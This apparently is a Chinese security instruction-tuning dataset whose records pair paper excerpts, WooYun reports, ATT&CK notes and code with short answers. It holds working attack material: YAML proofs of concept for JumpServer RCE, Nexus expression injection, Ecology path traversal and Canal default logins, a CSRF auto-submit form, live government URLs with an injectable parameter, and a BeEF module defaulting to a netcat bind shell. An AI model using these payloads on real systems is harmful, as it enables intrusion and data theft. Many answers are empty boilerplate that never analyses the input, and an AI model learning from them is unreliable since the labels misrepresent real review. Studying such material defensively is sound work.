- {"instruction": "总结这篇安全研究的主要观点", "input": "title:Proper Usage of the Group Signature Scheme in ISO/IEC 20008-2\nauthor:Ai Ishida and\nYusuke Sakai and\nKeita Emura and\nGoichiro Hanaoka and\nKeisuke Tanaka\nProper Usage of the Group Signature Scheme\nin ISO/IEC 20008-2\n(cid:3)\nAi Ishida\ny\nYusuke Sakai\ny\nKeita Emura\nz\nGoichiro Hanaoka\ny\nx\nKeisuke Tanaka\nJuly 5, 2019\nAbstract\nIn ISO/IEC 20008-2, several anonymous digital signature schemes are speci(cid:12)ed. Among these,\nthe scheme denoted as Mechanism 6, is the only plain group signature scheme that does not aim\nat providing additional functionalities. The Intel Enhanced Privacy Identi(cid:12)cation (EPID) scheme,\nwhich has many applications in connection with Intel Software Guard Extensions (Intel SGX), is in\npractice derived from Mechanism 6. In this paper, we (cid:12)rstly show that Mechanism 6 does not satisfy\nanonymity in the standard security model, i.e., the Bellare-Shi-Zhang model [CT-RSA 2005]. We\nthen provide a detailed analysis of the security properties offered by Mechanism 6 and characterize\nthe conditions under which its anonymity is preserved. Consequently, it is seen that Mechanism 6 is\nsecure under the condition that the issuer, who generates user signing keys, does not join the attack.\nWe also derive a simple patch for Mechanism 6 from the analysis.\nKeywords: Group signature, Cryptanalysis, ISO/IEC 20008-2, SGX\n1 Introduction\n1.1 Background\nThe ISO/IEC standards are some of the most important reference documents representing a consensus\namong the experts in the (cid:12)eld of information security. In practice, it is generally required to utilize the\ntechnologies which are speci(cid:12)ed in standards to ensure interoperability.\nIn the case of cryptographic technologies, standardization plays an even more important role of\nbuilding trust. During the process of cryptographic standardizations, much work and time are required\nin order to carefully examine the security of a proposed scheme even if it has already been published in a\n(cid:13)agship confer...", "output": "这篇论文提供了重要的安全研究见解，对网络安全防护具有指导意义。", "category": "research_summary", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2015-0110254\n漏洞标题：某通用商品房网上签约备案平台存在一处SQL注入\n相关厂商：广东南方数码科技有限公司\n漏洞作者： 路人甲\n提交时间：2015-04-27 16:08\n公开时间：2015-07-29 15:46\n漏洞类型：SQL注射漏洞\n危害等级：高\n自评Rank：20\n漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理\n## 漏洞详情\n ### 披露状态：\n 2015-04-27： 细节已通知厂商并且等待厂商处理中 \n 2015-04-30： 厂商已经确认，细节仅向厂商公开 \n 2015-05-03： 细节向第三方安全合作伙伴开放 \n 2015-06-24： 细节向核心白帽子及相关领域专家公开 \n 2015-07-04： 细节向普通白帽子公开 \n 2015-07-14： 细节向实习白帽子公开 \n 2015-07-29： 细节向公众公开 \n ### 简要描述：\n RT\n ### 详细说明：\n 广东南方数码科技有限公司开发的商品房网上签约备案平台存在一处SQL注入 \n案例： \nhttp://www.bxfgj.gov.cn/webbargainbx/presellbuild.aspx?buildcode=10088 \nhttp://218.89.108.173:8080/presellbuild.aspx?buildcode=12924016621001 \nhttp://58.59.112.106/presellbuild.aspx?buildcode=13146875771001 \nhttp://www.lysfgj.com:81/presellbuild.aspx?buildcode=13505442591005 \nhttp://www.jxfgj.com:8081/presellbuild.aspx?buildcode=12184229631001 \nhttp://www.bzfcj.gov.cn:9090/presellbuild.aspx?buildcode=13383658521213 \nhttp://www.lsfcj.com/presellbuild.aspx?buildcode=120150211000100001 \nhttp://gpsfcgls.com/presellbuild.aspx?buildcode=14199918731003 \n ### 漏洞证明：\n http://www.bzfcj.gov.cn:9090/presellbuild.aspx?buildcode=13383658521213 \nhttp://www.bxfgj.gov.cn/webbargainbx/presellbuild.aspx?buildcode=10088 \nhttp://www.lsfcj.com/presellbuild.aspx?buildcode=120150211000100001 \nhttp://218.89.108.173:8080/presellbuild.aspx?buildcode=12924016621001 \nhttp://gpsfcgls.com/presellbuild.aspx?buildcode=14199918731003 \n ### 修复方案：", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这个PoC（概念验证）代码", "input": "", "output": "PoC代码分析：\n\n## 思路\n1.访问 /index.php/base?a=Version 判断版本\n2.访问 /index.php/Admin/public/Login 生成一个 PHPSESSID\n3.访问下面两条url 设置session键名，绕过session检测\n```\n/index.php/public/verifyCode?length=2&mode=1&width=22&height=22&verify=AdminID&type=png\n/index.php/public/verifyCode?length=2&mode=1&width=22&height=22&verify=AdminName&type=png\n```\n4.访问 ```/index.php/public/verifyCode?length=2&mode=1&width=22&height=22&verify=AdminGroupID&type=png``` 更改session键名，会随机生成一个md5值\n5.访问 ```/index.php/Admin/Public/AdminLeft/MenuTopID/7``` 进行暴力测试，判断PHPSESSID是否有效，一直循环生成session直到正确未知\n6.参考\n```\nhttps://www.aisoutu.com/a/391281\nhttps://www.cnblogs.com/Pan3a/p/14867105.html\n```", "category": "poc_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "# frozen_string_literal: true\n\ndescribe WPScan::Finders::Themes::UrlsIn404Page do\n subject(:finder) { described_class.new(target) }\n let(:target) { WPScan::Target.new(url) }\n let(:url) { 'http://wp.lab/' }\n let(:fixtures) { FINDERS_FIXTURES.join('themes', 'urls_in_404_page') }\n\n # This stuff is just a child class of URLsInHomepage (using the error_404_res rather than homepage_res)\n # which already has a spec\nend", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nATT&CK ID:C0024\nATT&CK Technique Name:SolarWinds Compromise\nDuring the SolarWinds Compromise, APT29 used different compromised credentials for remote access and to move laterally.[58][59][60]", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nATT&CK ID:S0481\nATT&CK Technique Name:Ragnar Locker\nBefore executing malicious code, Ragnar Locker checks the Windows API GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country.[1]", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这个PoC（概念验证）代码", "input": "", "output": "PoC代码分析：\n\nname: poc-yaml-ecology-filedownload-directory-traversal\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"<url-pattern>/weaver/\")\nexpression: r0()\ndetail:\n author: l1nk3r\n links:\n - https://www.weaver.com.cn/cs/securityDownload.asp", "category": "poc_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这篇安全论文的内容", "input": "", "output": "安全论文分析：\n\ntitle:A statistical approach to botnet virulence estimation\nauthor:Julian L. Rrushi and\nEhsan Mokhtari and\nAli A. Ghorbani\nA Statistical Approach to Botnet Virulence Estimation\nJulian Rrushi, Ehsan Mokhtari, Ali A. Ghorbani\nUniversity of New Brunswick, Fredericton, NB, E3B 5A3, Canada\n{jrrushi, ehsan.mokhtari, ghorbani}@unb.ca\nABSTRACT\nNetwork vulnerability and infection rates are key factors\nin mathematical models of botnet propagation dynamics,\nwhich in turn are increasingly deemed to have potential for\nplaying an important role in various botnet mitigation s-\ntrategies. In this paper we discuss research that draws on\nepidemiological models in biology in order to solve the prob-\nlem of how to estimate network vulnerability and infection\nrates in relation to a botnet. This research provides bot-\nnet propagation models with concrete measures that make\nthose models practical, and hence employable in mitigation\nof real world botnets in a timely fashion. The proposed es-\ntimation approach is based on random sampling and follows\na novel application of statistical learning and inference in a\nbotnet-versus-network setting. We have implemented this\nresearch in the Matlab programming language, and thus in\nthe paper we also discuss an experimental validation of the\neffectiveness of this research with respect to realistically sim-\nulated botnet propagation dynamics in a GTNetS network\nsimulation platform.\nCategories and Subject Descriptors\nC.2.0 [Computer-Communication Network]: Security\nand Protection\nGeneral Terms\nSecurity\nKeywords\nComputer network security, stochastic processes, statistical\nlearning and inference.\n1.\nINTRODUCTION\nThe tactical design of botnets, i.e. networks of compro-\nmised nodes referred to as bots, which are controlled by\nremote attackers known as botmasters, has been evolving\ntowards higher degrees of sophistication. Wang et al. [7]\nPermission to make digital or hard copies of all or part of this work for\npersonal or classroom use is granted without fee...", "category": "security_research", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这个PoC（概念验证）代码", "input": "", "output": "PoC代码分析：\n\nname: poc-yaml-alibaba-canal-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /api/v1/user/login\n expression: response.status == 200 && response.body.bcontains(b\"com.alibaba.otter.canal.admin.controller.UserController.login\")\n r1:\n request:\n cache: true\n method: POST\n path: /api/v1/user/login\n headers:\n Content-Type: application/json\n body: '{\"username\":\"admin\",\"password\":\"123456\"}'\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"{\\\"code\\\":20000,\") && response.body.bcontains(b\"\\\"data\\\":{\\\"token\\\"\")\nexpression: r0() && r1()\ndetail:\n author: jweny(https://github.com/jweny)\n links:\n - https://www.cnblogs.com/xiexiandong/p/12888582.html", "category": "poc_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这个PoC（概念验证）代码", "input": "", "output": "PoC代码分析：\n\nname: poc-yaml-jumpserver-unauth-rce\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(5)\nrules:\n authentication0:\n request:\n cache: true\n method: GET\n path: /api/v1/authentication/connection-token/\n follow_redirects: false\n expression: response.status == 401 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"not_authenticated\")\n authentication1:\n request:\n cache: true\n method: GET\n path: /api/v1/authentication/connection-token/?user-only={{r1}}\n follow_redirects: false\n expression: response.status == 404 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"\\\"\\\"\")\n users0:\n request:\n cache: true\n method: GET\n path: /api/v1/users/connection-token/\n follow_redirects: false\n expression: response.status == 401 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"not_authenticated\")\n users1:\n request:\n cache: true\n method: GET\n path: /api/v1/users/connection-token/?user-only={{r1}}\n follow_redirects: false\n expression: response.status == 404 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"\\\"\\\"\")\nexpression: users0() && users1() || authentication0() && authentication1()\ndetail:\n author: mvhz81\n links:\n - https://s.tencent.com/research/bsafe/1228.html\n - https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw\n - https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh\n info: jumpserver unauth read logfile + jumpserver rce", "category": "poc_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/* mtp3_summary_dialog.cpp\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"mtp3_summary_dialog.h\"\n#include <ui_mtp3_summary_dialog.h>\n\n#include \"config.h\"\n\n#include <glib.h>\n\n#include <epan/tap.h>\n\n#include <epan/dissectors/packet-mtp3.h>\n\n#include \"wsutil/utf8_entities.h\"\n\n#include \"ui/capture_globals.h\"\n#include \"ui/simple_dialog.h\"\n#include \"ui/summary.h\"\n\n#include <ui/qt/utils/qt_ui_utils.h>\n\n#include <QTextStream>\n\ntypedef struct _mtp3_stat_si_code_t {\n int\t\t\tnum_msus;\n int\t\t\tsize;\n} mtp3_stat_si_code_t;\n\ntypedef struct _mtp3_stat_t {\n mtp3_addr_pc_t\t\taddr_opc;\n mtp3_addr_pc_t\t\taddr_dpc;\n mtp3_stat_si_code_t\t\tmtp3_si_code[MTP3_NUM_SI_CODE];\n} mtp3_stat_t;\n\n#define\tMTP3_MAX_NUM_OPC_DPC\t50\n\nstatic mtp3_stat_t mtp3_stat[MTP3_MAX_NUM_OPC_DPC];\nstatic size_t mtp3_num_used;\n\nMtp3SummaryDialog::Mtp3SummaryDialog(QWidget &parent, CaptureFile &capture_file) :\n WiresharkDialog(parent, capture_file),\n ui(new Ui::Mtp3SummaryDialog)\n{\n ui->setupUi(this);\n\n setWindowSubtitle(tr(\"MTP3 Summary\"));\n updateWidgets();\n}\n\nMtp3SummaryDialog::~Mtp3SummaryDialog()\n{\n delete ui;\n}\n\nQString Mtp3SummaryDialog::summaryToHtml()\n{\n summary_tally summary;\n memset(&summary, 0, sizeof(summary_tally));\n\n QString section_tmpl;\n QString table_begin, table_end;\n QString table_row_begin, table_ul_row_begin, table_row_end;\n QString table_vheader_tmpl, table_hheader15_tmpl, table_hheader25_tmpl;\n QString table_data_tmpl;\n\n section_tmpl = \"<p><strong>%1</strong></p>\\n\";\n table_begin = \"<p><table>\\n\";\n table_end = \"</table></p>\\n\";\n table_row_begin = \"<tr>\\n\";\n table_ul_row_begin = \"<tr style=\\\"border-bottom: 1px solid gray;\\\">\\n\";\n table_row_end = \"</tr>\\n\";\n table_vheader_tmpl = \"<td...", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### 0x01 初始化\n目标是这个样子的:\n开发商已知,搜索引擎没找到洞。。。\n### 0x02 加载中\n登陆口可以爆破,但是:\n用户名也遍历不了,简单爆破了一下, **无果** 。\n前台JS的文件命名很有意思:\n满屏SB:\n开发当时的怨气挺重的。\n每个JS都仔细分析了一遍, **无果** 。\n扫了一下目录, **无果** 。\n扫了一下端口, **无果** 。\n关注到UI有这个:\n群文件里面下载到APP:\n日常反编译看看代码:\nWeb2App,有几个开发方的接口地址,未见到目标地址。不过通过接口翻阅,找到目标地址:\n木有日错...\nweb2app没有太多继续看代码的必要,模拟器抓包。\n实名吐槽一下网易mumu Mac版,经常启动不成功,日常卡在99%,丢,耗时间。。。\n箭头指出来打码的部分是一个数字,没有返回新Cookie什么的,铁定只是做了前端验证:\n果不其然,基础思路首先是可以篡改返回值登陆绕过,其次是用户名可遍历。\n然而登陆绕过并没有什么卵用:\n图丢了,瞎画了一个,就是...在新设备登陆登陆需要管理员审核通过才行,太菜了绕不动. 可以篡改提交的审核信息, 应该有Xss, 但是没时间等...\n日常遍历用户,找口令,不管能不能登陆成功,只要口令正确,唬住客户还是OK的。\n口令1 Get。\n然后日常fuzz接口。\n(图丢了,瞎截的,最终结果是找到下图)\n在一个接口的返回中找到另一个接口:\n构造数据包:\n之前的遍历出来的用户名起到了作用,可以查到一点点没卵用的信息,本能的测一下注入:\n**前台注入Get。（0day?!）**\n### 0x03 加载成功\n丢,管理员和测试账号一个密码,并不复杂。。。\n相关字典:\n https://github.com/TheKingOfDuck/fuzzDicts\n以上内容纯属虚构。遵纪守法的公民是不会挖洞的。", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2013-032529\n漏洞标题：我是如何修改某帅哥领域的介绍的\n相关厂商：乌云官方\n漏洞作者： \n提交时间：2013-07-30 19:00\n公开时间：2013-09-13 19:00\n漏洞类型：CSRF\n危害等级：中\n自评Rank：6\n漏洞状态：厂商已经确认\n## 漏洞详情\n ### 披露状态：\n 2013-07-30： 细节已通知厂商并且等待厂商处理中 \n 2013-07-30： 厂商已经确认，细节仅向厂商公开 \n 2013-08-09： 细节向核心白帽子及相关领域专家公开 \n 2013-08-19： 细节向普通白帽子公开 \n 2013-08-29： 细节向实习白帽子公开 \n 2013-09-13： 细节向公众公开 \n ### 简要描述：\n 压力好大.\n ### 详细说明：\n 领域信息修改没有做token验证,导致CSRF... \n```\n<meta charset=\"utf-8\"> \n<form action=\"http://zone.wooyun.org/index.php?do=action&act=editfield\" method=\"post\" enctype=\"multipart/form-data\"> \n<input type=\"hidden\" name=\"fieldId\" value=\"30\" /> \n<input name=\"fieldKey\" type=\"hidden\" value=\"protect\" /> \n<input name=\"fieldName\" type=\"hidden\" value=\"如何保护自己\" /> \n<input name=\"fieldImg\" type=\"file\" /> \n<input name=\"authType\" type=\"hidden\" value=\"0\"> \n<input name=\"description\" type=\"hidden\" value=\"By 0x0F\"> \n<input name=\"reading\" type=\"hidden\" value=\"\"> \n</form> \n<script> \ndocument.forms[0].submit(); \n</script>\n```\n ### 漏洞证明：\n 忽悠@safe121 点了我的页面。于是结果是这样的。 \n真不是故意的。 \n ### 修复方案：\n 我好像暴露马甲了。", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "#\n# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - http://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n###\n# Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/\n###\n# EXTRAnet Collaboration Tool (extra-ct)\n# Version: 0.5.1\n# Homepage: http://www.extra-ct.net/\n# Source: http://code.google.com/p/extra-ct/\n# Source: http://sourceforge.net/projects/extract/\n###\nclass Extract_cmd_exec < BeEF::Core::Command\n def self.options\n [\n { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },\n { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '10100' },\n { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },\n { 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',\n 'value' => '{netcat,-l,-p,1337,-e,/bin/bash}', 'width' => '200px' }\n ]\n end\n\n def post_execute\n save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?\n save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?\n end\nend", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/* DO NOT EDIT\n\tThis file was automatically generated by Pidl\n\tfrom lsa.idl and lsa.cnf.\n\n\tPidl is a perl based IDL compiler for DCE/RPC idl files.\n\tIt is maintained by the Samba team, not the Wireshark team.\n\tInstructions on how to download and install Pidl can be\n\tfound at https://gitlab.com/wireshark/wireshark/-/wikis/Pidl\n*/\n\n\n#include \"config.h\"\n#include <glib.h>\n#include <string.h>\n#include <epan/packet.h>\n\n#include \"packet-dcerpc.h\"\n#include \"packet-dcerpc-nt.h\"\n#include \"packet-windows-common.h\"\n#include \"packet-dcerpc-lsa.h\"\nvoid proto_register_dcerpc_lsarpc(void);\nvoid proto_reg_handoff_dcerpc_lsarpc(void);\n\n/* Ett declarations */\nstatic gint ett_lsarpc_names = -1;\nstatic gint ett_dcerpc_lsarpc = -1;\nstatic gint ett_lsarpc_lsa_PolicyAccessMask = -1;\nstatic gint ett_lsarpc_lsa_AccountAccessMask = -1;\nstatic gint ett_lsarpc_lsa_DomainAccessMask = -1;\nstatic gint ett_lsarpc_lsa_SecretAccessMask = -1;\nstatic gint ett_lsarpc_security_secinfo = -1;\nstatic gint ett_lsarpc_lsa_String = -1;\nstatic gint ett_lsarpc_lsa_StringLarge = -1;\nstatic gint ett_lsarpc_lsa_Strings = -1;\nstatic gint ett_lsarpc_lsa_AsciiString = -1;\nstatic gint ett_lsarpc_lsa_AsciiStringLarge = -1;\nstatic gint ett_lsarpc_lsa_LUID = -1;\nstatic gint ett_lsarpc_lsa_PrivEntry = -1;\nstatic gint ett_lsarpc_lsa_PrivArray = -1;\nstatic gint ett_lsarpc_lsa_QosInfo = -1;\nstatic gint ett_lsarpc_lsa_ObjectAttribute = -1;\nstatic gint ett_lsarpc_lsa_AuditLogInfo = -1;\nstatic gint ett_lsarpc_lsa_AuditEventsInfo = -1;\nstatic gint ett_lsarpc_lsa_DomainInfo = -1;\nstatic gint ett_lsarpc_lsa_PDAccountInfo = -1;\nstatic gint ett_lsarpc_lsa_ServerRole = -1;\nstatic gint ett_lsarpc_lsa_ReplicaSourceInfo = -1;\nstatic gint ett_lsarpc_lsa_DefaultQuotaInfo = -1;\nstatic gint ett_lsarpc_lsa_ModificationInfo = -1;\nstatic gint ett_lsarpc_lsa_AuditFullSetInfo = -1;\nstatic gint ett_lsarpc_lsa_AuditFullQueryInfo = -1;\nstatic gint ett_lsarpc_lsa_DnsDomainInfo = -1;\nstatic gint ett_lsarpc_lsa_PolicyInformation = -1;\nstatic gint ett_l...", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "/* packet-ua3g.c\n * Routines for UA3G (Universal Alcatel) packet dissection.\n * Copyright 2012, Alcatel-Lucent Enterprise <lars.ruoff@alcatel-lucent.com>\n * Copyright 2017, Alcatel-Lucent Enterprise <nicolas.bertin@al-enterprise.com>\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n\n#include <epan/packet.h>\n#include <epan/prefs.h>\n\n#include \"packet-rtp.h\"\n#include \"packet-rtcp.h\"\n\n#include \"packet-uaudp.h\"\n\nvoid proto_register_ua3g(void);\nvoid proto_reg_handoff_ua3g(void);\n/*-----------------------------------------------------------------------------\n Globals\n ---------------------------------------------------------------------------*/\n\n#if 0\nstatic dissector_table_t ua3g_opcode_dissector_table;\n#endif\n\nstatic int proto_ua3g = -1;\nstatic gint ett_ua3g = -1;\nstatic gint ett_ua3g_body = -1;\nstatic gint ett_ua3g_param = -1;\nstatic gint ett_ua3g_param_sub = -1;\nstatic gint ett_ua3g_option = -1;\nstatic gint ett_ua3g_beep_beep_destination = -1;\nstatic gint ett_ua3g_note = -1;\n\nstatic gboolean setup_conversations_enabled = TRUE;\n\nstatic int hf_ua3g_length = -1;\nstatic int hf_ua3g_opcode_sys = -1;\nstatic int hf_ua3g_opcode_term = -1;\nstatic int hf_ua3g_opcode_production_test = -1;\nstatic int hf_ua3g_opcode_subservice_reset = -1;\nstatic int hf_ua3g_opcode_are_you_there = -1;\nstatic int hf_ua3g_opcode_set_speaker_vol = -1;\nstatic int hf_ua3g_opcode_trace_on = -1;\nstatic int hf_ua3g_ip = -1;\nstatic int hf_ua3g_ip_cs = -1;\nstatic int hf_ua3g_command_led = -1;\nstatic int hf_ua3g_command_lcd_line = -1;\nstatic int hf_ua3g_main_voice_mode = -1;\nstatic int hf_ua3g_command_set_clck = -1;\nstatic int hf_ua3g_external_ringing_command= -1;\nstatic int hf_ua3g_...", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这篇安全论文的内容", "input": "", "output": "安全论文分析：\n\ntitle:Time-Window Based Group-Behavior Supported Method for Accurate Detection\nof Anomalous Users\nauthor:Lun-Pin Yuan and\nEuijin Choo and\nTing Yu and\nIssa Khalil and\nSencun Zhu\n8\n3\n0\n0\n0\n.\n1\n2\n0\n2\n.\n7\n8\n9\n8\n4\nN\nS\nD\n/\n9\n0\n1\n1\n.\n0\n1\n:\nI\nO\nD\n|\nE\nE\nE\nI\n1\n2\n0\n2\n©\n0\n0\n.\n1\n3\n$\n/\n1\n2\n/\n7\n-\n2\n7\n5\n3\n-\n4\n5\n6\n6\n-\n1\n-\n8\n7\n9\n|\n)\nN\nS\nD\n(\ns\nk\nr\no\nw\nt\ne\nN\nd\nn\na\ns\nm\ne\nt\ns\ny\nS\ne\nl\nb\na\nd\nn\ne\np\ne\nD\nn\no\ne\nc\nn\ne\nr\ne\nf\nn\no\nC\nl\na\nn\no\ni\nt\na\nn\nr\ne\nt\nn\nI\nP\nI\nF\nI\n/\nE\nE\nE\nI\nl\na\nu\nn\nn\nA\nt\ns\n1\n5\n1\n2\n0\n2\n2021 51st Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN)\nTime-Window Based Group-Behavior Supported Method for Accurate Detection of\nAnomalous Users\nLun-Pin Yuan\nEuijin Choo\nTing Yu\nPennsylvania State University\nQatar Computing Research Institute\nQatar Computing Research Institute\nlunpin@psu.edu\nechoo@hbku.edu.qa\ntyu@hbku.edu.qa\nIssa Khalil\nQatar Computing Research Institute\nikhalil@hbku.edu.qa\nSencun Zhu\nPennsylvania State University\nsxz16@psu.edu\nAbstract—Autoencoder-based anomaly detection methods\nhave been used in identifying anomalous users from large-\nscale enterprise logs with the assumption that adversarial\nactivities do not follow past habitual patterns. Most existing\napproaches typically build models by reconstructing single-\nday and individual-user behaviors. However, without capturing\nlong-term signals and group-correlation signals, the models\ncannot identify low-signal yet long-lasting threats, and will\nwrongly report many normal users as anomalies on busy\ndays, which, in turn, lead to high false positive rate. In this\npaper, we propose ACOBE, anAnomaly detection method\nbased on COmpound BEhavior, which takes into consideration\nlong-term patterns and group behaviors. ACOBE leverages\na novel behavior representation and an ensemble of deep\nautoencoders and produces an ordered investigation list. Our\nevaluation shows that ACOBE outperforms prior work by a\nlarge margin in terms of precision and recall, and our case\nstudy demonstrates that ACOBE is applic...", "category": "security_research", "source": "modelscope_security_dataset"}
- {"instruction": "解释这个概念验证代码的工作原理", "input": "name: poc-yaml-nexus-cve-2020-10204\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: randomInt(40000, 44800)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /extdirect\n headers:\n Content-Type: application/json\n body: |\n {\"action\":\"coreui_User\",\"method\":\"update\",\"data\":[{\"userId\":\"anonymous\",\"version\":\"1\",\"firstName\":\"Anonymous\",\"lastName\":\"User2\",\"email\":\"anonymous@example.org\",\"status\":\"active\",\"roles\":[\"$\\\\c{{{r1}}*{{r2}}}\"]}],\"type\":\"rpc\",\"tid\":28}\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: r0()\ndetail:\n author: kingkk(https://www.kingkk.com/)\n links:\n - https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb\n - https://www.cnblogs.com/magic-zero/p/12641068.html\n - https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31\n Affected Version: nexus<3.21.2", "output": "这个PoC代码演示了特定的安全漏洞利用方法，需要谨慎使用。", "category": "poc_explanation", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE:CVE-2020-26421\nCNNVD:CNNVD-202012-848\nWireshark（前称Ethereal）是Wireshark团队的一套网络数据包分析软件。该软件的功能是截取网络数据包，并显示出详细的数据以供分析。\nWireshark 3.4.1版本及之前存在缓冲区错误漏洞，攻击者可利用该漏洞造成内存泄漏。\nsolution:Upgrade wireshark wireshark to a higher version than 3.2.8,3.4.0,and avoid the version [3.2.0,3.2.8],3.4.0; Upgrade fedoraproject fedora to a higher version than 32,33,and avoid the version 32,33; Upgrade debian debian_linux to a higher version than 9.0,and avoid the version 9.0; Upgrade oracle zfs_storage_appliance_kit to a higher version than 8.8,and avoid the version 8.8", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "#\n# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - http://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n module Extension\n module AdminUI\n #\n # Handle HTTP requests and call the relevant functions in the derived classes\n #\n class HttpController\n attr_accessor :headers, :status, :body, :paths, :currentuser, :params\n\n C = BeEF::Core::Models::Command\n CM = BeEF::Core::Models::CommandModule\n Z = BeEF::Core::Models::HookedBrowser\n\n #\n # Class constructor. Takes data from the child class and populates itself with it.\n #\n def initialize(data = {})\n @erubis = nil\n @status = 200 if data['status'].nil?\n @session = BeEF::Extension::AdminUI::Session.instance\n\n @config = BeEF::Core::Configuration.instance\n @bp = @config.get 'beef.extension.admin_ui.base_path'\n\n @headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil?\n\n @paths = if data['paths'].nil? && methods.include?('index')\n { 'index' => '/' }\n else\n data['paths']\n end\n end\n\n #\n # Authentication check. Confirm the request to access the UI comes from a permitted IP address\n #\n def authenticate_request(ip)\n auth = BeEF::Extension::AdminUI::Controllers::Authentication.new\n auth.permitted_source?(ip)\n rescue StandardError => e\n print_error \"authenticate_request failed: #{e.message}\"\n false\n end\n\n #\n # Check if reverse proxy has been enabled and return the correct client IP address\n #\n def get_ip(request)\n if @config.get('beef.http.allow_reverse_proxy')\n request.ip # Get client x-forwarded-for ip address\n else\n request.get_header('REMOTE_ADDR') # Get c...", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
